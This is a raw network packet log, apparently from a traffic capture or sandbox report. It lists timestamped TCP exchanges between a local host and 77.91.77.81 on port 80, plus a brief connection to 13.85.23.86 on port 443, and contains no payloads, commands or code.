Jul 4, 2024 20:34:12.575583935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575593948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575602055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575603962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575648069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575658083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575665951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575674057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575675011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575683117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575700998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575711966 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575719118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575753927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575763941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575772047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575786114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575795889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575800896 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575822115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575830936 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575876951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575886011 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575894117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575901985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575911999 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575915098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575922012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575927019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575930119 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575957060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575965881 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.575982094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.575990915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576015949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.576036930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.576051950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576061010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576095104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.576184034 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576193094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576215029 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.576239109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.576261044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576271057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576280117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576288939 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576313019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.576320887 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576330900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576330900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.576340914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576353073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.576360941 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.576370955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.576394081 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.592897892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.592931032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.592941046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.592948914 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.592958927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.592967987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.592988968 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.593017101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.593019009 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.593029022 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.593056917 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.613740921 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:12.613781929 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:12.613867044 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:12.615381956 CEST	49732	443	192.168.2.4	13.85.23.86
Jul 4, 2024 20:34:12.615400076 CEST	443	49732	13.85.23.86	192.168.2.4
Jul 4, 2024 20:34:12.646488905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646537066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.646622896 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646635056 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646645069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646656036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646671057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646682024 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646687031 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.646692038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646706104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.646732092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646742105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646744013 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.646752119 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646763086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646773100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646775961 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.646784067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646791935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.646804094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646828890 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.646856070 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.646863937 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646874905 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646883965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646893978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646908045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.646933079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646939039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.646943092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646954060 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.646977901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.647003889 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670264959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670274973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670289040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670305967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670315027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670325041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670325041 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670334101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670340061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670361996 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670392990 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670397997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670411110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670419931 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670434952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670434952 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670444965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670455933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670456886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670469046 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670490980 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670517921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670527935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670569897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670572042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670578957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670587063 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670619011 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670628071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670703888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670748949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670764923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670773983 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670799971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670804977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670809031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670818090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670823097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670830965 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670839071 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670840979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670859098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670871019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670876980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670886040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670923948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.670965910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670980930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670989037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.670999050 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671006918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671017885 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671030045 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671049118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671070099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671089888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671099901 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671107054 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671135902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671190977 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671200037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671210051 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671219110 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671243906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671253920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671334028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671344995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671354055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671364069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671372890 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671380043 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671381950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671401024 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671418905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671431065 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671477079 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671480894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671490908 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671525955 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671566010 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671575069 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671583891 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671593904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671622992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671679020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671688080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671695948 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671705008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671708107 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671714067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671717882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671749115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671749115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671823978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671833992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671843052 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671850920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671859980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671869040 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671873093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671879053 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671886921 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671895981 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671896935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671905994 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.671920061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671941996 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.671952963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.672126055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672142982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672152042 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672178030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.672194004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.672246933 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672256947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672266960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672276020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672291040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.672314882 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.672344923 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672359943 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672369957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672379017 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672388077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672398090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672409058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.672414064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672421932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672425032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.672431946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.672440052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.672470093 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.689271927 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.689281940 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.689311028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.689321995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.689331055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.689343929 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.689348936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.689393044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.689393044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.689410925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.689785957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.689795971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.689852953 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.741935015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.741944075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.741971016 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.741992950 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742023945 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742059946 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742069960 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742109060 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742144108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742155075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742163897 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742173910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742182970 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742189884 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742204905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742221117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742230892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742233038 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742239952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742249012 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742259026 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742264986 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742288113 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742301941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742306948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742311954 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742321968 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742340088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742360115 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742379904 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742434978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742444038 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742451906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.742480993 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.742496967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.765794992 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.765808105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.765819073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.765851974 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.765867949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.765933990 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.765944958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.765957117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.765981913 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.765997887 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766033888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766046047 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766056061 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766067028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766086102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766114950 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766132116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766144037 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766144037 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766153097 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766161919 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766164064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766175985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766186953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766197920 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766197920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766222000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766228914 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766318083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766328096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766339064 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766362906 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766374111 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766385078 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766388893 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766396046 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766412020 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766419888 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766423941 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766446114 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766465902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766467094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766479015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766520977 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 4, 2024 20:34:12.766561985 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766573906 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 4, 2024 20:34:12.766583920 CEST	80	49731	77.91.77.81	192.168.2.4
